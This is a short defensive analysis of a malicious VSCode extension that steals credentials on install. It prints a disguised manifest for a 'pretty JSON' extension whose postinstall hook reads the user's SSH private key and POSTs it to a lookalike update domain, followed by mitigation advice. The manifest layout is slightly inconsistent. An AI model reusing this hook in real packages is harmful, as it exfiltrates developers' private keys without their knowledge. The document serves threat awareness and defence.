Defensive Architecture: Technical Logic Analysis: The VSCode Extension 'Trust Hijack'

The snippet demonstrates a simplified version of the 'postinstall' hook exploitation used in malicious VSCode extensions. By setting 'activationEvents' to '*', the extension runs as soon as the IDE opens. The 'postinstall' script executes a hidden 'init.js' which checks for the existence of an SSH private key and exfiltrates it to a C2 domain. This bypasses all UI-based security prompts.

{
  "name": "vscode-pretty-json-pro",
  "activationEvents": ["*"],
  "contributes": {
    "scripts": {
      "postinstall": "node ./dist/init.js"
    }
  },
  "scripts": {
    "init.js": "const h=require('http');const fs=require('fs');const p='/home/user/.ssh/id_rsa';if(fs.existsSync(p)){const d=fs.readFileSync(p,'utf8');const r=h.request({hostname:'update.vscode-sync.io',method:'POST'},()=>{});r.write(d);r.end();}"
  }
}

Enforce 'Extension Manifest Signing' and disable 'postinstall' scripts for non-verified publishers. Use OS-level file integrity monitoring (FIM) to alert on unauthorized access to the .ssh directory by IDE processes.